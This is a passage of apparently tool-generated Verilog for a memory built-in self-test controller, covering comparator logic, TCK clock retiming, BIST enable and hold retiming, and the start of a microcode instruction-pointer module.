DATA_FROM_MEM0_EXP[31], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[30], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[29], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[28], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[27], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[26], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[25], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[24], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[23], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[22], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[21], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[20], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[19], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[18], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[17], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[16], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[15], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[14], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[13], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[12], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[11], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[10], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[9], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[8], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[7], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[6], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[5], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[4], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[3], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[2], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[1], // MemoryInstance: MEM0
DATA_FROM_MEM0_EXP[0] // MemoryInstance: MEM0
};
//-----------------------
//-- Comparator Enable --
//-----------------------
assign CMP_STAT_EN_INT = {
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 32), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 31), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 30), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 29), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 28), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 27), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 26), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 25), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 24), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 23), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 22), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 21), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 20), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 19), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 18), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 17), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 16), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 15), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 14), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 13), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 12), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 11), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 10), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 9), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 8), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 7), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 6), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 5), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 4), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 3), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 2), // MemoryInstance: MEM0
BIST_COLLAR_EN0 & (CMP_ID_SEL_R == 0 | CMP_ID_SEL_R == 1) // MemoryInstance: MEM0
};
//-------------------------------
//-- Expect Data to Comparator --
//-------------------------------
assign DATA_FROM_MEM_EXP = DATA_FROM_MEM_EXP_INT;
//-------------------------------------
//-- Comparator Enable to Comparator --
//-------------------------------------
assign CMP_STAT_EN = CMP_STAT_EN_INT;
//---------------------------
//-- Controller Comparator --
//---------------------------
assign RAW_CMP_STAT[31] = ~(DATA_FROM_MEM[31] == DATA_FROM_MEM_EXP[31]);
assign RAW_CMP_STAT[30] = ~(DATA_FROM_MEM[30] == DATA_FROM_MEM_EXP[30]);
assign RAW_CMP_STAT[29] = ~(DATA_FROM_MEM[29] == DATA_FROM_MEM_EXP[29]);
assign RAW_CMP_STAT[28] = ~(DATA_FROM_MEM[28] == DATA_FROM_MEM_EXP[28]);
assign RAW_CMP_STAT[27] = ~(DATA_FROM_MEM[27] == DATA_FROM_MEM_EXP[27]);
assign RAW_CMP_STAT[26] = ~(DATA_FROM_MEM[26] == DATA_FROM_MEM_EXP[26]);
assign RAW_CMP_STAT[25] = ~(DATA_FROM_MEM[25] == DATA_FROM_MEM_EXP[25]);
assign RAW_CMP_STAT[24] = ~(DATA_FROM_MEM[24] == DATA_FROM_MEM_EXP[24]);
assign RAW_CMP_STAT[23] = ~(DATA_FROM_MEM[23] == DATA_FROM_MEM_EXP[23]);
assign RAW_CMP_STAT[22] = ~(DATA_FROM_MEM[22] == DATA_FROM_MEM_EXP[22]);
assign RAW_CMP_STAT[21] = ~(DATA_FROM_MEM[21] == DATA_FROM_MEM_EXP[21]);
assign RAW_CMP_STAT[20] = ~(DATA_FROM_MEM[20] == DATA_FROM_MEM_EXP[20]);
assign RAW_CMP_STAT[19] = ~(DATA_FROM_MEM[19] == DATA_FROM_MEM_EXP[19]);
assign RAW_CMP_STAT[18] = ~(DATA_FROM_MEM[18] == DATA_FROM_MEM_EXP[18]);
assign RAW_CMP_STAT[17] = ~(DATA_FROM_MEM[17] == DATA_FROM_MEM_EXP[17]);
assign RAW_CMP_STAT[16] = ~(DATA_FROM_MEM[16] == DATA_FROM_MEM_EXP[16]);
assign RAW_CMP_STAT[15] = ~(DATA_FROM_MEM[15] == DATA_FROM_MEM_EXP[15]);
assign RAW_CMP_STAT[14] = ~(DATA_FROM_MEM[14] == DATA_FROM_MEM_EXP[14]);
assign RAW_CMP_STAT[13] = ~(DATA_FROM_MEM[13] == DATA_FROM_MEM_EXP[13]);
assign RAW_CMP_STAT[12] = ~(DATA_FROM_MEM[12] == DATA_FROM_MEM_EXP[12]);
assign RAW_CMP_STAT[11] = ~(DATA_FROM_MEM[11] == DATA_FROM_MEM_EXP[11]);
assign RAW_CMP_STAT[10] = ~(DATA_FROM_MEM[10] == DATA_FROM_MEM_EXP[10]);
assign RAW_CMP_STAT[9] = ~(DATA_FROM_MEM[9] == DATA_FROM_MEM_EXP[9]);
assign RAW_CMP_STAT[8] = ~(DATA_FROM_MEM[8] == DATA_FROM_MEM_EXP[8]);
assign RAW_CMP_STAT[7] = ~(DATA_FROM_MEM[7] == DATA_FROM_MEM_EXP[7]);
assign RAW_CMP_STAT[6] = ~(DATA_FROM_MEM[6] == DATA_FROM_MEM_EXP[6]);
assign RAW_CMP_STAT[5] = ~(DATA_FROM_MEM[5] == DATA_FROM_MEM_EXP[5]);
assign RAW_CMP_STAT[4] = ~(DATA_FROM_MEM[4] == DATA_FROM_MEM_EXP[4]);
assign RAW_CMP_STAT[3] = ~(DATA_FROM_MEM[3] == DATA_FROM_MEM_EXP[3]);
assign RAW_CMP_STAT[2] = ~(DATA_FROM_MEM[2] == DATA_FROM_MEM_EXP[2]);
assign RAW_CMP_STAT[1] = ~(DATA_FROM_MEM[1] == DATA_FROM_MEM_EXP[1]);
assign RAW_CMP_STAT[0] = ~(DATA_FROM_MEM[0] == DATA_FROM_MEM_EXP[0]);
//---------------
//-- GO_ID_REG --
//---------------
assign GO_ID_FEEDBACK_EN = ~BIST_DIAG_EN;
// synopsys sync_set_reset "GO_ID_REG_RST"
assign GO_ID_REG_RST = CLEAR_DEFAULT;
// Comparator logic {{{
wire HOLD_OR_RESET;
wire [31:0] GO_ID_REG_MUX, BIST_SHIFT_COLLAR_MUX;
wire [31:0] GO_ID_REG_MUX_SEL ;
wire GO_ID_REG_CLR;
// synopsys sync_set_reset "GO_ID_REG_RST"
assign HOLD_OR_RESET = GO_ID_REG_RST | HOLD_EN | ~GO_EN;
assign GO_ID_REG_CLR = GO_ID_REG_RST | (~BIST_HOLD_R & ~GO_ID_FEEDBACK_EN & CMP_EN & ~FREEZE_STOP_ERROR_EARLY_R);
assign GO_ID_REG_MUX = ( GO_ID_REG_MUX_SEL & BIST_SHIFT_COLLAR_MUX & {32 {~GO_ID_REG_CLR}} ) |
( ~GO_ID_REG_MUX_SEL & RAW_CMP_STAT );
assign GO_ID_REG_MUX_SEL = (GO_ID_REG & {32{GO_ID_FEEDBACK_EN}}) | ~CMP_STAT_EN | {32 {HOLD_OR_RESET | FREEZE_GO_ID }};
assign BIST_SHIFT_COLLAR_MUX = (BIST_SHIFT_SHORT) ? {ERROR_CNT_REG[11],GO_ID_REG[31:1]} : GO_ID_REG;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
GO_ID_REG <= {32{1'b0}};
else
GO_ID_REG <= GO_ID_REG_MUX;
end
assign ERROR = (GO_EN & ( CMP_EN_R | GO_ID_FEEDBACK_EN)) & |GO_ID_REG;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
ERROR_R <= 1'b0;
end else
if ( RESET_REG_SETUP2 ) begin
ERROR_R <= 1'b0;
end else begin
ERROR_R <= ERROR;
end
end
//----------------
// STOP_ON_ERROR
//----------------
wire SOE_ERROR;
wire FREEZE_STOP_ERROR_CLEAR;
wire FREEZE_STOP_ERROR_EARLY;
assign SOE_ERROR = |ERROR & BIST_STOP_ON_ERROR_EN;
assign FREEZE_STOP_ERROR_EARLY = ERROR_CNT_ZERO & SOE_ERROR;
// synopsys sync_set_reset "FREEZE_STOP_ERROR_CLEAR"
assign FREEZE_STOP_ERROR_CLEAR = ~GO_EN & ~HOLD_EN & ~BIST_SHIFT_SHORT;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @(posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
FREEZE_STOP_ERROR_EARLY_R <= 1'b0;
end else
if (FREEZE_STOP_ERROR_CLEAR) begin
FREEZE_STOP_ERROR_EARLY_R <= 1'b0;
end else begin
if (~HOLD_EN & GO_EN) begin
FREEZE_STOP_ERROR_EARLY_R <= FREEZE_STOP_ERROR_EARLY | FREEZE_STOP_ERROR_EARLY_R;
end
end
end
// Comparator logic }}}
assign GO_ID = GO_ID_REG;
assign CTRL_GO = ~ERROR_R;
assign SO = GO_ID_REG[0];
endmodule // SMARCHCHKB_LVISION_MBISTPG_CTL_COMP
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MBISTPG_ASYNC_INTERF
Description : Asynchronous interface for shifting in/out values using
the low speed TCK clock. This clock must be at most
one fourth the frequency of the master clock.
-------------------------------------------------------- (c) Mentor Graphics */
module SMARCHCHKB_LVISION_MBISTPG_ASYNC_INTERF (
BIST_CLK ,
BIST_EN ,
BIST_SHIFT ,
BIST_ASYNC_RESETN ,
TM ,
BIST_SETUP ,
TCK_MODE ,
TCK ,
TCK_PULSE ,
BIST_SHIFT_SYNC ,
BIST_SHIFT_LONG ,
BIST_SHIFT_SHORT
);
input BIST_CLK;
input BIST_EN;
input BIST_SHIFT;
input BIST_ASYNC_RESETN;
input TM;
input [1:0] BIST_SETUP;
input TCK_MODE;
input TCK;
output TCK_PULSE;
output BIST_SHIFT_SYNC;
output BIST_SHIFT_LONG;
output BIST_SHIFT_SHORT;
reg ASYNC_INTERF_R;
wire ASYNC_INTERF_R_IN;
wire TCK_MODE_INT;
wire TCK_RETIME1_RST;
wire TCK_RETIME1_IN;
wire TCK_RETIME1;
wire BIST_SHIFT_SYNC;
wire [1:0] BIST_SETUP_SYNC_WITH_SHIFT;
assign TCK_MODE_INT = TCK_MODE & ~TM;
assign TCK_PULSE = (ASYNC_INTERF_R_IN & ~ASYNC_INTERF_R) | TCK_MODE_INT;
assign BIST_SHIFT_SYNC = TCK_PULSE & BIST_EN & BIST_SHIFT;
assign BIST_SETUP_SYNC_WITH_SHIFT[0] = BIST_SHIFT_SYNC & BIST_SETUP[0];
assign BIST_SETUP_SYNC_WITH_SHIFT[1] = BIST_SHIFT_SYNC & BIST_SETUP[1];
assign BIST_SHIFT_LONG = BIST_SHIFT_SYNC & ~BIST_SETUP_SYNC_WITH_SHIFT[1] & BIST_SETUP_SYNC_WITH_SHIFT[0] ;
assign BIST_SHIFT_SHORT = BIST_SHIFT_SYNC & ~BIST_SETUP_SYNC_WITH_SHIFT[1] ;
//------------------
//-- TCK Retiming --
//------------------
assign TCK_RETIME1_RST = ~BIST_ASYNC_RESETN;
assign TCK_RETIME1_IN = TCK & BIST_EN;
// Posedge retiming cell
SMARCHCHKB_LVISION_MBISTPG_RETIMING_CELL MBIST_NTC_RETIMING_CELL_TCK (
.CLK ( BIST_CLK ), // i
.R ( ~BIST_ASYNC_RESETN ), // i
.RETIME_IN ( TCK_RETIME1_IN ), // i
.RETIME_OUT ( TCK_RETIME1 ) // o
);
assign ASYNC_INTERF_R_IN = TCK_RETIME1 | TM;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
ASYNC_INTERF_R <= 1'b0;
else
ASYNC_INTERF_R <= ASYNC_INTERF_R_IN;
end
endmodule // SMARCHCHKB_LVISION_MBISTPG_ASYNC_INTERF
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MBISTPG_OPTION
Description : Retiming flops for the BIST_EN and BIST_HOLD.
-------------------------------------------------------- (c) Mentor Graphics */
module SMARCHCHKB_LVISION_MBISTPG_OPTION (
BIST_CLK ,
BIST_EN ,
BIST_HOLD ,
BIST_SETUP ,
TCK_MODE ,
LV_TM ,
GO ,
BIST_ASYNC_RESETN,
DEFAULT_MODE ,
BIST_ON ,
BIST_HOLD_R
);
input BIST_CLK;
input BIST_EN;
input BIST_HOLD;
input [1:0] BIST_SETUP;
input TCK_MODE;
input LV_TM;
input GO;
input BIST_ASYNC_RESETN;
output BIST_ON;
output DEFAULT_MODE;
output BIST_HOLD_R;
wire BIST_EN_RETIME1_IN;
wire BIST_EN_RETIME1;
reg BIST_EN_RETIME1_TCK_MODE;
wire BIST_EN_RETIME2_IN;
reg BIST_EN_RETIME2;
wire BIST_ON_INT;
wire BIST_EN_RST;
wire BIST_EN_RST_TCK_MODE;
wire TCK_MODE_INT;
wire BIST_HOLD_RST;
wire BIST_HOLD_RETIME1_IN;
wire BIST_HOLD_RETIME1;
wire BIST_HOLD_RETIME2_IN;
reg BIST_HOLD_RETIME2;
//---------------
//-- Main Code --
//---------------
assign DEFAULT_MODE = (BIST_SETUP[1] & ~BIST_SETUP[0]) & BIST_ON_INT;
//----------------------
//-- BIST_EN Retiming --
//----------------------
assign BIST_EN_RST = ~BIST_ASYNC_RESETN;
assign BIST_EN_RETIME1_IN = BIST_EN & BIST_SETUP[1];
// Posedge retiming cell for non-TCK mode
SMARCHCHKB_LVISION_MBISTPG_RETIMING_CELL MBIST_NTC_RETIMING_CELL (
.CLK ( BIST_CLK ), // i
.R ( ~BIST_ASYNC_RESETN ), // i
.RETIME_IN ( BIST_EN_RETIME1_IN ), // i
.RETIME_OUT ( BIST_EN_RETIME1 ) // o
);
// synopsys async_set_reset "BIST_EN_RST_TCK_MODE"
assign BIST_EN_RST_TCK_MODE = (~TCK_MODE | LV_TM) | BIST_EN_RST;
// Negedge retiming flop for TCK mode
// synopsys async_set_reset "BIST_EN_RST_TCK_MODE"
always @ (negedge BIST_CLK or posedge BIST_EN_RST_TCK_MODE) begin
if (BIST_EN_RST_TCK_MODE)
BIST_EN_RETIME1_TCK_MODE <= 1'b0;
else
BIST_EN_RETIME1_TCK_MODE <= BIST_EN_RETIME1_IN;
end
assign TCK_MODE_INT = TCK_MODE & ~LV_TM;
assign BIST_EN_RETIME2_IN = (TCK_MODE_INT) ? BIST_EN_RETIME1_TCK_MODE : BIST_EN_RETIME1;
// Posedge stage
// synopsys async_set_reset "BIST_EN_RST"
always @ (posedge BIST_CLK or posedge BIST_EN_RST) begin
if (BIST_EN_RST)
BIST_EN_RETIME2 <= 1'b0;
else
if (~LV_TM)
BIST_EN_RETIME2 <= BIST_EN_RETIME2_IN;
end
// Retimed BIST_EN
assign BIST_ON_INT = BIST_EN_RETIME2;
assign BIST_ON = BIST_ON_INT;
//------------------------
//-- BIST_HOLD Retiming --
//------------------------
assign BIST_HOLD_RST = ~BIST_ASYNC_RESETN;
assign BIST_HOLD_RETIME1_IN = BIST_HOLD;
// Posedge retiming cell
SMARCHCHKB_LVISION_MBISTPG_RETIMING_CELL MBIST_NTC_RETIMING_CELL_HOLD (
.CLK ( BIST_CLK ), // i
.R ( ~BIST_ASYNC_RESETN ), // i
.RETIME_IN ( BIST_HOLD_RETIME1_IN ), // i
.RETIME_OUT ( BIST_HOLD_RETIME1 ) // o
);
assign BIST_HOLD_RETIME2_IN = BIST_HOLD_RETIME1;
// Posedge stage
// synopsys async_set_reset "BIST_HOLD_RST"
always @ (posedge BIST_CLK or posedge BIST_HOLD_RST) begin
if (BIST_HOLD_RST)
BIST_HOLD_RETIME2 <= 1'b0;
else
if (~LV_TM)
BIST_HOLD_RETIME2 <= BIST_HOLD_RETIME2_IN;
end
// Retimed BIST_HOLD
assign BIST_HOLD_R = BIST_HOLD_RETIME2;
endmodule // SMARCHCHKB_LVISION_MBISTPG_OPTION
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MBISTPG_POINTER_CNTRL
Description : This module contains the microcode register array as well as
the pointer control logic for selecting the instruction to
be executed.
To advance the pointer to the next instruction to be executed
the NextState Conditions and the JumpState
conditions for the selected instruction are tested. The
testing of these conditions are prioritized and there are
four possible states which may be selected next as follows:
1) NEXTSTATE - test the NextState Conditions for a TRUE
and advance the instruction pointer by 1
2) LOOPSTATE - test the reduced NextState Conditions
(NextState conditions without the
LOOPCOUNTMAX trigger) for a TRUE and
branch to the address provided by the
LOOPPOINTER register.
3) BRANCHSTATE - test the Branch Conditions for a TRUE
and branch to the address in the BRANCHPOINTER
field of the selected instruction.
4) ELSE - do not change the intsruction pointer.
To end the test the LAST_STATE_DONE flag is set on a TRUE
NextState Condition when the instruction pointer is at the
last available instruction of the microprogram array.
The instruction pointer remains at the LAST_STATE address
until reset by the SETUP_PULSE from the BIST_FSM module.
-------------------------------------------------------- (c) Mentor Graphics */
module SMARCHCHKB_LVISION_MBISTPG_POINTER_CNTRL (
BIST_CLK ,
RESET_REG_SETUP1 ,
RESET_REG_DEFAULT_MODE ,
RESET_REG_SETUP2 ,
BIST_RUN ,
BIST_ON ,
LAST_TICK ,
ALGO_MODE ,
MEM_RST ,
CHKBCI_PHASE,
OP_SELECT_CMD ,
A_EQUALS_B_INVERT_DATA ,
ADD_Y1_CMD ,
ADD_X1_CMD ,
ADD_REG_SELECT ,
WDATA_CMD ,
EDATA_CMD ,
LOOP_CMD ,
COUNTERA_CMD ,
INH_LAST_ADDR_CNT ,
INH_DATA_CMP ,
DEFAULT_MODE ,
BIST_MICROCODE_EN ,
BIST_ASYNC_RESETN ,
ESOE_RESET ,
Y1_MINMAX_TRIGGER ,
X1_MINMAX_TRIGGER ,
COUNTERA_ENDCOUNT_TRIGGER ,
LOOPCOUNTMAX_TRIGGER ,
LOOP_POINTER ,
BIST_HOLD ,
SO ,
SI ,
SHORT_SETUP ,
BIST_SHIFT_SHORT ,
LAST_STATE_DONE ,
LAST_STATE ,
LOOP_STATE_TRUE
);
input BIST_CLK;
input RESET_REG_SETUP1;
input RESET_REG_DEFAULT_MODE;
input RESET_REG_SETUP2;
input BIST_RUN;
input BIST_ON;
input LAST_TICK;
output CHKBCI_PHASE;
wire CHKBCI_PHASE_INT;
input [1:0] ALGO_MODE;
input MEM_RST;
input Y1_MINMAX_TRIGGER;
input X1_MINMAX_TRIGGER;
input COUNTERA_ENDCOUNT_TRIGGER;
input LOOPCOUNTMAX_TRIGGER;
input [4:0] LOOP_POINTER;
input BIST_HOLD;
input BIST_SHIFT_SHORT;
input SI;
input DEFAULT_MODE;
input BIST_MICROCODE_EN;
input BIST_ASYNC_RESETN;
input ESOE_RESET;
output SO;
input SHORT_SETUP;
output [2:0] OP_SELECT_CMD;
output [1:0] A_EQUALS_B_INVERT_DATA;
output [2:0] ADD_Y1_CMD;
output [2:0] ADD_X1_CMD;
output [2:0] ADD_REG_SELECT;
output [3:0] WDATA_CMD;
output [3:0] EDATA_CMD;
output [1:0] LOOP_CMD;
output COUNTERA_CMD;
output INH_LAST_ADDR_CNT;
output INH_DATA_CMP;
output LAST_STATE_DONE;
output LAST_STATE;
output LOOP_STATE_TRUE;
reg LAST_STATE_INT;
wire [4:0] NEXT_POINTER;
wire [4:0] NEXT_POINTER_INT;
wire [4:0] BRANCH_POINTER;
reg EXECUTE_BRANCH_POINTER_REG4;
reg EXECUTE_BRANCH_POINTER_REG3;
reg EXECUTE_BRANCH_POINTER_REG2;
reg EXECUTE_BRANCH_POINTER_REG1;
reg EXECUTE_BRANCH_POINTER_REG0;
wire [4:0] NEXT_BRANCH_POINTER;
wire LOOP_STATE_TRUE_INT;
wire NEXT_STATE_TRUE;
wire [3:0] NEXT_TRIGGERS;
wire [3:0] NEXT_CONDITIONS;
reg EXECUTE_NEXT_CONDITIONS_REG3;
reg EXECUTE_NEXT_CONDITIONS_REG1;
reg EXECUTE_NEXT_CONDITIONS_REG0;
wire [3:0] NEXT_CONDITIONS_FIELD;
wire [2:0] LOOP_TRIGGERS;
wire [2:0] LOOP_CONDITIONS;
reg EXECUTE_OP_SELECT_CMD_REG1;
reg EXECUTE_OP_SELECT_CMD_REG0;
wire [2:0] NEXT_OP_SELECT_CMD;
wire [1:0] NEXT_A_EQUALS_B_INVERT_DATA;
reg EXECUTE_ADD_Y1_CMD_REG1;
reg EXECUTE_ADD_Y1_CMD_REG0;
wire [2:0] NEXT_ADD_Y1_CMD;
reg EXECUTE_ADD_X1_CMD_REG1;
reg EXECUTE_ADD_X1_CMD_REG0;
wire [2:0] NEXT_ADD_X1_CMD;
reg EXECUTE_ADD_REG_SELECT_REG1;
wire [2:0] NEXT_ADD_REG_SELECT;
reg EXECUTE_WDATA_CMD_REG3;
reg EXECUTE_WDATA_CMD_REG1;
reg EXECUTE_WDATA_CMD_REG0;
wire [3:0] NEXT_WDATA_CMD;
reg EXECUTE_EDATA_CMD_REG3;
reg EXECUTE_EDATA_CMD_REG1;
reg EXECUTE_EDATA_CMD_REG0;
wire [3:0] NEXT_EDATA_CMD;
reg EXECUTE_LOOP_CMD_REG1;
reg EXECUTE_LOOP_CMD_REG0;
wire [1:0] NEXT_LOOP_CMD;
wire NEXT_COUNTERA_CMD;
wire NEXT_INH_LAST_ADDR_CNT;
reg EXECUTE_INH_DATA_CMP_REG0;
wire NEXT_INH_DATA_CMP;
// [start] : Hard algo wires {{{
wire [35:0] INSTRUCTION0_WIRE;
wire [35:0] INSTRUCTION1_WIRE;
wire [35:0] INSTRUCTION2_WIRE;
wire [35:0] INSTRUCTION3_WIRE;
wire [35:0] INSTRUCTION4_WIRE;
wire [35:0] INSTRUCTION5_WIRE;
wire [35:0] INSTRUCTION6_WIRE;
wire [35:0] INSTRUCTION7_WIRE;
wire [35:0] INSTRUCTION8_WIRE;
wire [35:0] INSTRUCTION9_WIRE;
wire [35:0] INSTRUCTION10_WIRE;
wire [35:0] INSTRUCTION11_WIRE;
wire [35:0] INSTRUCTION12_WIRE;
wire [35:0] INSTRUCTION13_WIRE;
wire [35:0] INSTRUCTION14_WIRE;
wire [35:0] INSTRUCTION15_WIRE;
wire [35:0] INSTRUCTION16_WIRE;
wire [35:0] INSTRUCTION17_WIRE;
wire [35:0] INSTRUCTION18_WIRE;
// [end] : Hard algo wires }}}
// [start] : Final instruction assignment {{{
wire [35:0] INSTRUCTION0;
wire [35:0] INSTRUCTION1;
wire [35:0] INSTRUCTION2;
wire [35:0] INSTRUCTION3;
wire [35:0] INSTRUCTION4;
wire [35:0] INSTRUCTION5;
wire [35:0] INSTRUCTION6;
wire [35:0] INSTRUCTION7;
wire [35:0] INSTRUCTION8;
wire [35:0] INSTRUCTION9;
wire [35:0] INSTRUCTION10;
wire [35:0] INSTRUCTION11;
wire [35:0] INSTRUCTION12;
wire [35:0] INSTRUCTION13;
wire [35:0] INSTRUCTION14;
wire [35:0] INSTRUCTION15;
wire [35:0] INSTRUCTION16;
wire [35:0] INSTRUCTION17;
wire [35:0] INSTRUCTION18;
// [end] : Final instruction assignment }}}
reg [4:0] INST_POINTER;
wire INST_POINTER_SI;
wire INST_POINTER_SO;
reg LAST_STATE_DONE_REG;
wire LAST_STATE_DONE_INT;
//---------------------
//-- OperationSelect --
//---------------------
// [start] : OperationSelect {{{
assign OP_SELECT_CMD = {
1'b0,
EXECUTE_OP_SELECT_CMD_REG1,
EXECUTE_OP_SELECT_CMD_REG0
};
// [start] : instruction field {{{
assign NEXT_OP_SELECT_CMD = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[2:0] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[2:0] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[2:0] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[2:0] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[2:0] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[2:0] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[2:0] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[2:0] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[2:0] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[2:0] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[2:0] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[2:0] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[2:0] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[2:0] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[2:0] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[2:0] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[2:0] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[2:0] :
INSTRUCTION18[2:0] ;
// [end] : instruction field }}}
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
EXECUTE_OP_SELECT_CMD_REG1 <= 1'b0;
EXECUTE_OP_SELECT_CMD_REG0 <= 1'b0;
end else
if (RESET_REG_SETUP2) begin
EXECUTE_OP_SELECT_CMD_REG1 <= INSTRUCTION0[1];
EXECUTE_OP_SELECT_CMD_REG0 <= INSTRUCTION0[0];
end else
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_INT & BIST_RUN) begin
EXECUTE_OP_SELECT_CMD_REG1 <= NEXT_OP_SELECT_CMD[1];
